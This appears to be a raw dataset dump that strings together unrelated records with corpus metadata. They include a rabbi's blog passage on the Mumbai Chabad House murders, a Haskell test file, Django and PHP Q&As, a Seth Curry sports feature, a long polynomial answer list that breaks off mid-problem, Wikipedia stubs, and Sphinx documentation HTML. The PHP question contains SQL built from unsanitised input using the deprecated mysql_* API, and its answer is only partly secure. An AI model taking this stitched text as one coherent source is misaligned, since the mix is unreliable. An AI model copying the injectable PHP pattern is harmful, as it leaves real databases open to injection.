were not only murdered. ", "Debka reported that, “Mumbai hospital doctors were horrified by the condition of the six Israeli bodies recovered from the smashed, blood-spattered rooms of Chabad Center Monday. ", "Local and Israeli pathologists confirmed they were tortured by their Islamist terrorist captors before being bound together and killed in cold blood.”", "\n\nIsraelis and Jews have always served as a target for religious extremists. ", "After all, Arami Oved Avi is the continuation of vehi she’amdah – “in every generation they stand up against us to destroy us.” ", "The entire world last week painfully discovered Lavan’s motto: yesh l’el yadi. ", "In the name of God, one can justify any act. ", "Even the brutal murder of a father and pregnant mother in front of their two-year-old son.", "The hagaddah offers only one consolation: ve’hakadosh baruch hu, matzileinu m’yadam; in the end, we believe – we know that “the Holy One blessed be He, saves us – and will continue to save us, from their evil, violent and brutal hands.”", "\n\nAbout Me\n\nWelcome to my blog. ", "I am a former pulpit rabbi and current educator living in Yad Binyamin, Israel with my wife and kids. (", "We made aliyah in July 2008.) ", "If you like what you see here, you can find much more Torah and audio shiurim on our website, spolter.net.", "Also, feel free to leave a comment or a question. ", "You can contact me by emailing me at rspolter at gmail dot com." ]

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[ "{-# LANGUAGE TypeApplications #-}\n\nmodule Test.", "Validity.", "BinarySpec where\n\nimport Test.", "Hspec\n\nimport Data.", "GenValidity\nimport Test.", "Validity.", "Binary\n\nspec :: Spec\nspec = do\n binarySpecOnGen (genListOf $ pure 'a') \"sequence of 'a's\" (const [])\n -- binarySpec @Double DOES NOT HOLD\n binarySpecOnValid @Rational\n binarySpec @Int\n binarySpecOnArbitrary @Int\n" ]

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[ "Q:\n\nDjango: dynamic form generation (changing field type)\n\nI have a model wich defines certain field`s types\nclass FieldType(models.", "Model): #determines types of fields which are availiable to choose\nEMAIL = 'E'\nINTEGER = 'I'\nSTRING = 'S'\nTEXT = 'T'\nFIELD_TYPE_CHOICES = (\n (EMAIL, 'E-mail'),\n (INTEGER, 'Integer'),\n (STRING, 'String'),\n (TEXT, 'Text'),\n)\ntype_of_field = models.", "CharField(max_length=1,\n choices=FIELD_TYPE_CHOICES,\n default=STRING)\n\ndef is_upperclass(self):\n return self.type_of_field in (self.", "EMAIL, self.", "TEXT)\n\nSo this is a field with type`s choices.", "\nI also have a class in model.py which let user add new field:\nclass ColumnHead(models.", "Model):\n newfield = models.", "CharField(max_length=200, verbose_name='head')\n\n def __unicode__(self):\n return u'%s' % (self.newfield)\n\nclass ExtraField(models.", "Model):\n add = models.", "ForeignKey(ColumnHead)\n new_field_text = models.", "TextField(max_length=200, verbose_name='content')\n\n def __unicode__(self):\n return u'%s' % (self.new_field_text)\n\nclass ChoiceInline(admin.", "StackedInline):\n model = ExtraField\n extra = 1 # how many extra choices it could be\n\nclass AdminForm(admin.", "ModelAdmin):\n fieldsets = [\n ('Head', {'fields': ['newfield']}),\n ]\n inlines = [ChoiceInline]\n\nThe concept is to make a new field have that chosen type.", "\nSo, what is only to do is to create a function (I guess) which defines the behavior of the additional field. ", "But because of my poor Django and Python knowlege I do not have any confidence. ", "I don`t know how to write it an where (views or forms or models?). ", "I thought I need something like this class in forms:\nclass DynamicType(forms.", "Form):\n if field.type == 'E':\n and there must be some action...\n elif field.type == 'I':\n ...\n\nI really searched a lot, but I could not find anything like this. ", "Or, maybe, this way I`m doing is completely wrong? ", "Please, help.", "\nEDIT:\nI`ve made some changes here in model (replaced class ExtraField and added three potentional types):\nclass ExtraTextField(models.", "Model):\n add = models.", "ForeignKey(ColumnHead)\n new_field_text = models.", "TextField(max_length=200, verbose_name='content')\n\n def __unicode__(self):\n return u'%s' % (self.new_field_text)\n\nclass ExtraIntegerField(models.", "Model):\n add = models.", "ForeignKey(ColumnHead)\n new_field_integer = models.", "IntegerField(max_length=200, verbose_name='content')\n\n def __unicode__(self):\n return u'%s' % (self.new_field_integer)\n\nclass ExtraDateField(models.", "Model):\n add = models.", "ForeignKey(ColumnHead)\n new_field_date = models.", "DateField(max_length=200, verbose_name='content')\n\n def __unicode__(self):\n return u'%s' % (self.new_field_date)\n\nClass ChoiceInline manages field types. ", "I need a function which says something like: if it was chosen \"Integer\", lets use ExtraIntegerField, am I right? ", "Maybe I should not worry about forms... and I need a function here in models directly?", "\nBIG thanks for ANY idea or help.", "\n\nA:\n\nIMO, there's almost always a better idea than dynamic model fields.", "\nHowever maybe this app will help you or at least give you direction:\nhttps://github.com/dobarkod/django-dynamic-model\n\n" ]

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[ "CHARLOTTE, N.C. — Seth Curry was a senior at Charlotte Christian School when he was reminded, loudly and in rhythm, of the near-impossible standard his older brother set.", "\n\nDuring a road game in 2008, the opposing student section chanted, “YOU’RE NOT STEPH-EN!” ", "Emboldened by the taunt, Curry responded with four straight three-pointers.", "\n\n“He just held his chest out proud,” said Shonn Brown, who coached both Seth and Stephen Curry at Charlotte Christian. “", "He was like, ‘You’re right: I’m not Stephen, and I’m not supposed to be. ", "This is who I am.’”", "\n\nMany assume that Seth’s famous bloodline — in addition to having a two-time NBA MVP as a big brother, his father, Dell, is a former Sixth Man of the Year — would help him carve out a niche in the league, but he believes it has been just the opposite. ", "His game is constantly measured against his sibling’s, and there is only one Stephen Curry.", "\n\nThough the comparisons to Stephen don’t figure to stop anytime soon, Seth has quietly established himself as a bona fide rotation player. ", "His invite to Saturday’s NBA Three-Point Contest at All-Star Weekend, where he’ll compete against Stephen in their hometown of Charlotte, wasn’t merely for a feel-good storyline. ", "Seth ranks third in the league with a 3-point percentage of 46.5, more than two points better than Stephen’s.", "\n\n“Regardless of what the narrative is or what people say about him, he just has supreme self-confidence,” Stephen said of Seth. “", "God blessed him with that personality for a reason in terms of him just being himself, understanding not just what kind of man he is, but what kind of basketball player he is. ", "He obviously belongs in the league, and can do some amazing things.”", "\n\nOff the court, the two brothers have few similarities. ", "Seth is so introverted that he once refused to get out of his mother’s car when she drove him to a middle school dance. ", "Stephen is outgoing and bubbly, the focal point of family gatherings without trying.", "\n\nBasketball gave them common ground.", "\n\nAs soon as Stephen could walk, he was shooting his Nerf ball through a miniature hoop. ", "It wasn’t long before Seth, who is 2½ years younger, joined Stephen. ", "By elementary school, their Nerf battles had shifted to the full court behind their Charlotte home.", "\n\nBecause he was smaller and less experienced, Seth initially relied on tricks to compete in their backyard duels. ", "But as he grew, in both size and ability, Seth stopped the gimmicks and won his share.", "\n\nThose pickup victories gave him a self-assuredness that would prove vital years later. ", "As he struggled to stick in the NBA, Seth took solace knowing that he had long held his own against perhaps the best shooter in league history.", "\n\nThat didn’t make his repeated setbacks any less frustrating, however. ", "Scouts seemed to focus more on what he couldn’t do than what he could, and feedback often included a tie-in to Seth’s brother: You’re a good shooter, but you’re not as good as Steph. ", "You’re not as big as Steph, and you don’t play with his joy.", "\n\nAll-Star W eekend Saturday: Skills competitions, including Steph and Seth Curry in the 3-point contest. ", "5 p.m. TNT Sunday: All-Star Game, including Warriors Steph Curry, Kevin Durant and Klay Thompson. ", "5:20 p.m. TBS, TNT\n\nRead More\n\nAfter going undrafted out of Duke in 2013, Seth was waived three times and signed two 10-day contracts. ", "While with Golden State’s NBA Development League (now G League) affiliate in Santa Cruz, he shared a backcourt with Mychel Thompson — Klay Thompson’s older brother — and, much to Seth’s chagrin, was labeled a “Splash Brother.”", "\n\nIn July 2015, after earning All-NBA Summer League first-team honors with the Pelicans, Seth signed a two-year, $2 million guaranteed deal with the Kings. ", "The Warriors had made him an offer, but he didn’t want all the attention that would come with playing alongside Stephen.", "\n\nSeth’s breakthrough came in 2016-17, when he averaged 12.8 points on 48.1 percent shooting (42.5 percent from three) in 70 games with the Mavericks. ", "In a blend all his own, he flashed his brother’s step-back jumper and his dad’s catch-and-shoot ability.", "\n\nSince missing last season with a stress fracture of his left tibia, Seth has emerged as the primary backup to Trail Blazers All-Star guard Damian Lillard. ", "It should come as no surprise that two of his better performances — an 11-point outing on Dec. 27, and an 11-point showing on Wednesday — came against Golden State.", "\n\n“I get a lot of interview requests about Steph, but I always remind them that I have another son in the NBA, and I’m just as proud of everything he’s accomplished,” Dell said. “", "He’s earned everything he’s gotten.”", "\n\nSeth and Stephen have been each other’s biggest advocates since their elementary school days trading 3-pointers before the Hornets’ pregame warm-ups as Dell rebounded.", "\n\nWhen Stephen married his childhood sweetheart, Ayesha, in July 2011, Seth delivered the best man’s toast. ", "In May 2015, when Stephen told Seth during his MVP speech that the “sky’s the limit for you,” Seth fought back tears. ", "Over the past year, Stephen — a father of three — has helped Seth, who has a 10-month-old daughter, Carter, with his fiancee, juggle work with parenthood.", "\n\nHowever, no family bias would make him want to settle for a second-place finish at Saturday’s 3-point contest. ", "Stephen and Seth grew up hearing a familiar edict from their mom, Sonya: “If you’re going to compete, you’re going to compete to win.”", "\n\n“It’s going to be a lot of fun, I’m excited,” Seth said. “", "Hopefully, I can get the win.”", "\n\nAsked whether he’d beat his little brother, Curry smirked and said, “Of course. ", "Of course.”", "\n\nConnor Letourneau is a San Francisco Chronicle staff writer. ", "Email: cletourneau@sfchronicle.com Twitter: @Con_Chron" ]

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[ "(b - 349)\nFind g such that 2*g**2/15 + 23329066*g/15 + 23329064/15 = 0.", "\n-11664532, -1\nFind v, given that -v**4/5 + 3528*v**3 - 15201680*v**2 - 3146976000*v - 159132800000 = 0.", "\n-100, 8920\nDetermine l, given that 429*l**5 - 105147*l**4 - 95673*l**3 + 115479*l**2 + 95244*l - 10332 = 0.", "\n-1, 14/143, 1, 246\nSuppose -2*d**4/5 + 4288*d**3/5 - 2162996*d**2/5 - 4356048*d/5 + 6514758/5 = 0. ", "Calculate d.\n-3, 1, 817, 1329\nLet x**2 - 5225053*x + 41800360 = 0. ", "Calculate x.\n8, 5225045\nDetermine q, given that 5*q**2 + 2406980*q - 19256160 = 0.", "\n-481404, 8\nDetermine n so that 2*n**3/11 - 37008*n**2/11 - 185078*n/11 - 222108/11 = 0.", "\n-3, -2, 18509\nDetermine d so that 5*d**2 + 244697830*d + 2993851400335445 = 0.", "\n-24469783\nDetermine z, given that -2*z**3/7 + 10620*z**2/7 - 2330958*z + 5636246792/7 = 0.", "\n484, 2413\nDetermine i so that 3*i**4 + 509139*i**3 + 21601622187*i**2 - 21605186199*i - 129612788082 = 0.", "\n-84857, -2, 3\nWhat is n in 4*n**2 - 5616*n - 11896960 = 0?", "\n-1160, 2564\nFind w such that 3*w**4/5 + 1794*w**3/5 + 21177*w**2/5 + 47346*w/5 - 14064 = 0.", "\n-586, -8, -5, 1\nFactor -2*m**2/7 + 24454580*m/7 - 74753310372050/7.", "\n-2*(m - 6113645)**2/7\nDetermine l so that 2*l**2/9 - 352220*l/9 + 7662032 = 0.", "\n196, 175914\nFind h such that -h**3/8 + 531*h**2/8 - 1315*h/4 = 0.", "\n0, 5, 526\nSolve -2*h**2 - 2077220*h + 10386150 = 0.", "\n-1038615, 5\nDetermine x so that -15*x**4 - 697836*x**3 - 3767817*x**2 + 2791056*x + 1674612 = 0.", "\n-46517, -6, -2/5, 1\nFactor 4*p**2/7 + 445504*p/7 - 66915600/7.", "\n4*(p - 150)*(p + 111526)/7\nFactor -5*q**3 + 7809035*q**2 + 31236200*q + 31236220.", "\n-5*(q - 1561811)*(q + 2)**2\nSolve 3*k**5 + 225*k**4 - 2199*k**3 - 56961*k**2 + 247860*k = 0 for k.\n-81, -15, 0, 4, 17\nFactor 63*c**3 - 473034*c**2 - 946257*c - 473160.", "\n3*(c + 1)**2*(21*c - 157720)\nFactor -108*n**2 + 143725424*n + 5323164.", "\n-4*(n - 1330791)*(27*n + 1)\nFactor -2*k**2 - 3380*k + 831888.", "\n-2*(k - 218)*(k + 1908)\nSolve -3*z**2 - 51504*z - 16867668 = 0 for z.\n-16834, -334\nFind d, given that d**4/3 + 2577*d**3 + 97469*d**2 + 561625*d/3 + 92316 = 0.", "\n-7693, -36, -1\nSolve q**5/3 + 10175*q**4/3 - 20377*q**3 - 458095*q**2/3 + 509050*q/3 = 0 for q.\n-10181, -5, 0, 1, 10\nLet -3*h**4 - 33837*h**3 + 10777770*h**2 = 0. ", "Calculate h.\n-11589, 0, 310\nSuppose m**5 - 2571*m**4 + 136769*m**3 - 2145261*m**2 + 8294598*m - 9061200 = 0. ", "What is m?", "\n2, 3, 24, 25, 2517\nFactor -2*w**2/17 + 2038898*w/17 - 2038896/17.", "\n-2*(w - 1019448)*(w - 1)/17\nWhat is h in -3*h**4 - 420*h**3 - 12750*h**2 - 140700*h - 520047 = 0?", "\n-103, -17, -11, -9\nFactor 2*o**3/7 - 23745448*o**2/7 + 70480787590088*o/7.", "\n2*o*(o - 5936362)**2/7\nLet -2*l**5 + 11434410*l**4 - 22868817*l**3/2 + 2858602*l**2 = 0. ", "Calculate l.\n0, 1/2, 5717204\nFind u such that 543*u**2/7 + 199461*u/7 + 66060/7 = 0.", "\n-367, -60/181\nSolve -s**4/5 - 12316*s**3/5 - 41038277*s**2/5 - 18783968798*s/5 = 0 for s.\n-5887, -542, 0\nFactor -s**3 - 52036*s**2 - 677456384*s - 13528321280.", "\n-(s + 20)*(s + 26008)**2\nLet -3*p**4/4 - 7305*p**3/4 + 7341*p**2 + 58536*p = 0. ", "What is p?", "\n-2439, -4, 0, 8\nFind w such that 3*w**3 + 21156*w**2 + 20451783*w + 5348061666 = 0.", "\n-5958, -547\nFactor -2*m**2/17 - 3713232*m/17 + 3713234/17.", "\n-2*(m - 1)*(m + 1856617)/17\nFactor -3*r**3 - 9825*r**2 - 185646*r - 175824.", "\n-3*(r + 1)*(r + 18)*(r + 3256)\nFind c such that 2*c**4/7 - 56034*c**3/7 - 504438*c**2/7 - 840830*c/7 + 1401300/7 = 0.", "\n-5, 1, 28026\nDetermine a so that 36*a**4/5 - 817737*a**3 + 1294725*a**2 + 817728*a - 1362876/5 = 0.", "\n-2/3, 1/4, 2, 113573\nLet -2*u**2 - 1828792*u + 5486394 = 0. ", "What is u?", "\n-914399, 3\nDetermine i, given that -490*i**3/3 - 50414*i**2/3 - 624496*i/5 - 241224 = 0.", "\n-95, -138/35\nWhat is t in -2*t**2/13 - 26046*t/13 - 62880444/13 = 0?", "\n-9822, -3201\nFactor -3*m**2/7 - 5646*m/7 - 644160/7.", "\n-3*(m + 122)*(m + 1760)/7\nFactor 5*d**2 - 121241325*d.", "\n5*d*(d - 24248265)\nFactor h**3 + 801163*h**2 - 3204664*h + 3204668.", "\n(h - 2)**2*(h + 801167)\nFind g such that -5*g**5 - 60*g**4 + 11020*g**3 + 101010*g**2 + 258985*g + 169050 = 0.", "\n-49, -5, -3, -1, 46\nFactor 2*n**2/9 - 3160*n/3 + 1385878/9.", "\n2*(n - 4589)*(n - 151)/9\nFactor -u**2/3 + 58453412*u/3 - 854200343610436/3.", "\n-(u - 29226706)**2/3\nFactor 2*m**3/11 - 211996*m**2/11 + 5617576000*m/11 + 11236000000/11.", "\n2*(m - 53000)**2*(m + 2)/11\nFind a, given that a**2/2 - 396205*a/2 - 396207 = 0.", "\n-2, 396207\nSuppose -27*u**3/2 + 473578*u**2 + 1087507*u/2 + 70162 = 0. ", "Calculate u.\n-1, -4/27, 35081\nFind g, given that -5*g**5 + 2005*g**4 + 779415*g**3 + 56021495*g**2 - 56802910*g = 0.", "\n-131, 0, 1, 662\nFactor 2*x**3/11 - 23422*x**2/11 + 76427990*x/11 - 44586303450/11.", "\n2*(x - 5485)**2*(x - 741)/11\nDetermine i, given that 10*i**4/9 - 19556*i**3/9 - 765934*i**2/9 + 474416*i/9 + 103688/3 = 0.", "\n-39, -2/5, 1, 1994\nDetermine w, given that w**3/5 + 35799*w**2/5 + 414546*w - 8863768/5 = 0.", "\n-35741, -62, 4\nDetermine p, given that p**5/3 - 9008*p**4/3 + 6782978*p**3 - 94400916*p**2 + 59697675*p + 2184084972 = 0.", "\n-4, 9, 4497\nDetermine y so that 5*y**3 + 690790*y**2 - 19345060*y + 135422280 = 0.", "\n-138186, 14\nSuppose t**3 + 3173124*t**2 - 12692509*t + 9519384 = 0. ", "Calculate t.\n-3173128, 1, 3\nWhat is a in 5*a**4 + 32250530*a**3 - 64501085*a**2 - 32250530*a + 64501080 = 0?", "\n-6450108, -1, 1, 2\nFactor -3*v**4 - 10121049*v**3 - 11381736984489*v**2 - 4266485841671311443*v.", "\n-3*v*(v + 1124561)**3\nSuppose -2*a**2/5 + 2304*a/5 + 183418 = 0. ", "What is a?", "\n-313, 1465\nFind m such that 6*m**3 - 97360*m**2/9 - 785594*m/9 - 688180/9 = 0.", "\n-190/27, -1, 1811\nLet -6*x**5 - 4280*x**4/3 - 66962*x**3/3 - 48556*x**2/3 + 14144*x/3 = 0. ", "What is x?", "\n-221, -16, -1, 0, 2/9\nDetermine o, given that -o**3 - 493*o**2 + 3640281*o + 10925253 = 0.", "\n-2169, -3, 1679\nFactor 3*d**4/7 + 15000*d**3 + 23836032*d**2/7 + 1808904576*d/7 + 45792220416/7.", "\n3*(d + 76)**3*(d + 34772)/7\nSuppose -15309*u**3 + 23392146*u**2 - 8935792896*u - 3502176 = 0. ", "What is u?", "\n-2/5103, 764\nFind z, given that 5*z**3 + 11940*z**2 + 4859395*z + 4847460 = 0.", "\n-1868, -519, -1\nLet -k**5/2 - 3898422*k**4 + 46781091*k**3/2 - 35085825*k**2 = 0. ", "Calculate k.\n-7796850, 0, 3\nSolve -5*m**2/4 + 117626595*m/2 - 2767203170258805/4 = 0 for m.\n23525319\nSuppose -4*x**2/7 - 6512*x/7 - 1774288/7 = 0. ", "Calculate x.\n-1282, -346\nFactor q**2/4 + 2399*q + 372723/4.", "\n(q + 39)*(q + 9557)/4\nLet 3*y**3 - 2379*y**2 - 1953294*y + 3916080 = 0. ", "What is y?", "\n-504, 2, 1295\nSuppose -2*k**3/7 - 16294*k**2/21 - 33904*k/3 + 324120/7 = 0. ", "Calculate k.\n-2701, -18, 10/3\nSolve 5*j**5 + 329335*j**4 + 7226702520*j**3 + 52740139085440*j**2 - 1962165324421120*j - 6360962130739200 = 0 for j.\n-21968, -3, 40\nFind y such that -5*y**3/3 - 2305*y**2/3 + 30795*y + 1358775 = 0.", "\n-495, -27, 61\nFactor 2*r**2 - 15670*r + 7239212.", "\n2*(r - 7342)*(r - 493)\nDetermine k, given that -2*k**3/3 + 24113044*k**2/3 - 24226628493760*k + 48453224836800 = 0.", "\n2, 6028260\nDetermine h, given that -h**3/10 - 537*h**2/5 - 279459*h/10 + 140267/5 = 0.", "\n-629, -446, 1\nFactor t**4/6 - 863*t**3/2 + 3880*t**2/3 - 862*t.", "\nt*(t - 2586)*(t - 2)*(t - 1)/6\nSolve t**4/2 + 40783*t**3/2 + 387245*t**2 - 529992*t - 2445840 = 0.", "\n-40764, -20, -2, 3\nSuppose -2*t**4/3 - 2852*t**3/3 - 426698*t**2/3 + 143184*t = 0. ", "What is t?", "\n-1256, -171, 0, 1\nDetermine f, given that -2*f**3/15 - 4694*f**2/15 - 726664*f/5 + 13590792/5 = 0.", "\n-1698, -667, 18\nFactor -4*i**2 + 62441712*i - 811741580.", "\n-4*(i - 15610415)*(i - 13)\nDetermine j so that -2*j**5/13 + 126*j**4/13 + 12204*j**3/13 - 553528*j**2/13 - 21382800*j/13 + 427680000/13 = 0.", "\n-50, 16, 66, 81\nFind o such that 2*o**5/5 - 47176*o**4/5 - 896966*o**3/5 - 2360636*o**2/5 - 1510848*o/5 = 0.", "\n-16, -2, -1, 0, 23607\nFactor -2*j**2/21 + 158*j/21 + 3530228/7.", "\n-2*(j - 2341)*(j + 2262)/21\nSuppose 10*c**3 + 302838*c**2 - 25265178*c + 5040922 = 0. ", "Calculate c.\n-30367, 1/5, 83\nDetermine j, given that 4*j**5 + 895288*j**4 + 68921260*j**3 + 1745273192*j**2 + 13915078736*j - 15730168480 = 0.", "\n-223745, -26, 1\nSuppose 2*t**4 - 447914*t**3 - 1343754*t**2 - 1343758*t - 447920 = 0. ", "Calculate t.\n-1, 223960\nLet 2*v**3/3 + 29356750*v**2/3 + 58713494*v/3 + 9785582 = 0. ", "What is v?", "\n-14678373, -1\nLet 10*h**5/3 - 3695*h**4/6 - 16915*h**3/2 + 490205*h**2/6 - 323495*h/6 - 18715 = 0. ", "What is h?", "\n-19, -1/4, 1, 6, 197\nFind x, given that 2*x**5/7 + 2*x**4 - 12464*x**3/7 - 12536*x**2/7 + 74784*x/7 = 0.", "\n-82, -3, 0, 2, 76\nFactor -4*n**4 - 3291344*n**3 - 677065665552*n**2 - 2708223166208*n - 27082" ]

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[ "Q:\n\nUpdate query in php correct layout\n\nI am having a problem with a update query, I believe I have done this right but have not done it before and its not working so I have gone wrong somewhere but do not know where.", "\nany help will be fantastic.", "\nadmin.php\n $result = mysql_query(\"SELECT * FROM bands \");\n\n echo \"</br>\";\n\n echo \"<table border = '1'>\n <tr>\n <th>Show No</th>\n <th>Band Name</th>\n <th>Venue</th>\n <th>Category</th>\n <th>Stock</th>\n <th>Edit Show</th>\n </tr>\";\n\n while($row = mysql_fetch_array($result))\n {\n echo \"<td>\" .$row['Band_id']. \"", "</td>\";\n echo \"<td>\" .$row['Name']. \"", "</td>\";\n echo \"<td>\" .$row['Venue']. \"", "</td>\";\n echo \"<td>\" .$row['Category']. \"", "</td>\";\n echo \"<td>\" .$row['Stock']. \"", "</td>\";\n echo (\"<td><a href=\\\"editband.php?id=$row[Band_id]\\\">Edit</a></td></tr>\");\n }\n\n echo \"</table>\";\n?", ">\n\neditband.php\n <?", "php\n require 'core/init.php';\n $result = mysql_query(\"SELECT * FROM bands where Band_id ='$Band_id'\");\n $row = mysql_fetch_array($result);\n ?", ">\n <form method=\"post\" action=\"ammenddetails.php\">\n <input type=\"hidden\" name=\"id\" value=\"<? ", "echo \"$row[Band_id]\"?", ">\">\n <tr> \n <td>Band Name</td>\n <td>\n <input type=\"text\" name=\"Name\" \n size=\"20\" value=\"<? ", "echo \"$row[Name]\"?", ">\">\n </td>\n </tr>\n <tr>\n <td>Venue</td>\n <td>\n <input type=\"text\" name=\"Venue\" size=\"20\" \n value=\"<? ", "echo \"$row[Venue]\"?", ">\">\n </td>\n </tr>\n <tr>\n <input type=\"submit\" \n name=\"submit value\" value=\"Edit\">\n </td>\n </tr>\n </form>\n?", ">\n\nammenddetails.php\n <?", "php\nrequire 'core/init.php';\n$result = mysql_query(\"UPDATE bands\n SET Name='$Name', \n Venue='$Venue' \n WHERE \n Band_id='$Band_id'\");\n\nmysql_query($result);\nheader(\"location:admin.php\");\n?", ">\n\nA:\n\nYour ammenddetails.php is missing the POST values\nShould be as below-\nrequire 'core/init.php';\n$Name = mysql_real_escape_string($_POST[\"Name\"]);\n$Venue = mysql_real_escape_string($_POST[\"Venue\"]);\n$Band_id = (int)$_POST[\"id\"];\n\n $result = mysql_query(\"UPDATE bands\n SET Name='$Name', \n Venue='$Venue' \n WHERE \n Band_id='$Band_id'\");\n\n mysql_query($result);\n header(\"location:admin.php\");\n\n" ]

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[ "Charalambos Avgerinos\n\nCharalmbos Avgerinos (Greek: Χαράλαμπος Αυγερινός, 18th century – 19th century) was a Greek politician He was the father of Nakis Avgerinos. ", " He ran for mayor of Pyrgos. ", " He preceded by Christos Stefanopoulos and was later succeeded by Takis Vakalopoulos.", "\n\nReferences\n''The first version of the article is translated and is based from the article at the Greek Wikipedia (el:Main Page)\n\nCharalambos\nCategory:People from Pyrgos, Elis\nCategory:Politicians from Elis\nCategory:Year of death missing\nCategory:Year of birth missing" ]

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[ "id: dsq-747509349\ndate: 2004-08-19T23:15:00.0000000-07:00\nname: Haacked\navatar: https://github.com/haacked.png?size=120\nmessage: <p>I sometimes consider pulling a Helen Keller and just writing messages to other people.<br><br><br><br>I also have a horrible conversational memory. ", " At a previous job, I was trying to mediate a conflict between two people (one above me and one below) and I carried a notepad writing down what everyone was saying so I could get to the bottom of the misunderstanding. ", " And it's always a misunderstanding.</p>\n" ]

{ "pile_set_name": "Github" }

[ 0.007142857142857143, 0, 0 ]

[ "\n\n<!", "DOCTYPE html>\n<!", "--[if IE 8]><html class=\"no-js lt-ie9\" lang=\"en\" > <![", "endif]-->\n<!", "--[if gt IE 8]><!--> <html class=\"no-js\" lang=\"en\" > <!", "--<![endif]-->\n<head>\n <meta charset=\"utf-8\">\n \n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n \n <title>nlp_architect.models.bist.eval package &mdash; NLP Architect by Intel® AI Lab 0.5.2 documentation</title>\n \n\n \n \n \n \n\n \n <script type=\"text/javascript\" src=\"../_static/js/modernizr.min.js\"></script>\n \n \n <script type=\"text/javascript\" id=\"documentation_options\" data-url_root=\"../\" src=\"../_static/documentation_options.js\"></script>\n <script type=\"text/javascript\" src=\"../_static/jquery.js\"></script>\n <script type=\"text/javascript\" src=\"../_static/underscore.js\"></script>\n <script type=\"text/javascript\" src=\"../_static/doctools.js\"></script>\n <script type=\"text/javascript\" src=\"../_static/language_data.js\"></script>\n <script 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href=\"nlp_architect.models.cross_doc_coref.html\">nlp_architect.models.cross_doc_coref package</a></li>\n<li class=\"toctree-l4\"><a class=\"reference internal\" href=\"nlp_architect.models.transformers.html\">nlp_architect.models.transformers package</a></li>\n</ul>\n</li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#submodules\">Submodules</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.bist_parser\">nlp_architect.models.bist_parser module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.chunker\">nlp_architect.models.chunker module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.cross_doc_sieves\">nlp_architect.models.cross_doc_sieves module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference 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href=\"nlp_architect.models.html#module-nlp_architect.models.np_semantic_segmentation\">nlp_architect.models.np_semantic_segmentation module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.pretrained_models\">nlp_architect.models.pretrained_models module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.tagging\">nlp_architect.models.tagging module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models.temporal_convolutional_network\">nlp_architect.models.temporal_convolutional_network module</a></li>\n<li class=\"toctree-l3\"><a class=\"reference internal\" href=\"nlp_architect.models.html#module-nlp_architect.models\">Module contents</a></li>\n</ul>\n</li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" 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Architect by Intel® AI Lab</a>\n \n </nav>\n\n\n <div class=\"wy-nav-content\">\n \n <div class=\"rst-content\">\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div role=\"navigation\" aria-label=\"breadcrumbs navigation\">\n\n <ul class=\"wy-breadcrumbs\">\n \n <li><a href=\"../index.html\">Docs</a> &raquo;</li>\n \n <li><a href=\"nlp_architect_api_index.html\"><code class=\"docutils literal notranslate\"><span class=\"pre\">nlp\\_architect</span></code> package</a> &raquo;</li>\n \n <li><a href=\"nlp_architect.models.html\">nlp_architect.models package</a> &raquo;</li>\n \n <li><a href=\"nlp_architect.models.bist.html\">nlp_architect.models.bist package</a> &raquo;</li>\n \n <li>nlp_architect.models.bist.eval package</li>\n \n \n <li class=\"wy-breadcrumbs-aside\">\n \n \n \n </li>\n \n </ul>\n\n \n <hr/>\n</div>\n <div role=\"main\" class=\"document\" itemscope=\"itemscope\" itemtype=\"http://schema.org/Article\">\n <div itemprop=\"articleBody\">\n \n <div class=\"section\" id=\"nlp-architect-models-bist-eval-package\">\n<h1>nlp_architect.models.bist.eval package<a class=\"headerlink\" href=\"#nlp-architect-models-bist-eval-package\" title=\"Permalink to this headline\">¶</a></h1>\n<div class=\"section\" id=\"subpackages\">\n<h2>Subpackages<a class=\"headerlink\" href=\"#subpackages\" title=\"Permalink to this headline\">¶</a></h2>\n<div class=\"toctree-wrapper compound\">\n<ul>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"nlp_architect.models.bist.eval.conllu.html\">nlp_architect.models.bist.eval.conllu package</a><ul>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"nlp_architect.models.bist.eval.conllu.html#submodules\">Submodules</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"nlp_architect.models.bist.eval.conllu.html#module-nlp_architect.models.bist.eval.conllu.conll17_ud_eval\">nlp_architect.models.bist.eval.conllu.conll17_ud_eval module</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"nlp_architect.models.bist.eval.conllu.html#module-nlp_architect.models.bist.eval.conllu\">Module contents</a></li>\n</ul>\n</li>\n</ul>\n</div>\n</div>\n<div class=\"section\" id=\"module-nlp_architect.models.bist.eval\">\n<span id=\"module-contents\"></span><h2>Module contents<a class=\"headerlink\" href=\"#module-nlp_architect.models.bist.eval\" title=\"Permalink to this headline\">¶</a></h2>\n</div>\n</div>\n\n\n </div>\n \n </div>\n <footer>\n \n\n <hr/>\n\n <div role=\"contentinfo\">\n <p>\n\n </p>\n </div>\n Built with <a href=\"http://sphinx-doc.org/\">Sphinx</a> using a <a href=\"https://github.com/rtfd/sphinx_rtd_theme\">theme</a> provided by <a href=\"https://readthedocs.org\">Read the Docs</a>. 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{ "pile_set_name": "Github" }

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[ "Eburia stigmatica\n\nEburia stigmatica is a species of beetle in the family Cerambycidae.", "\n\nReferences\n\nCategory:Eburia" ]

{ "pile_set_name": "Wikipedia (en)" }

[ 0.022988505747126436, 0 ]

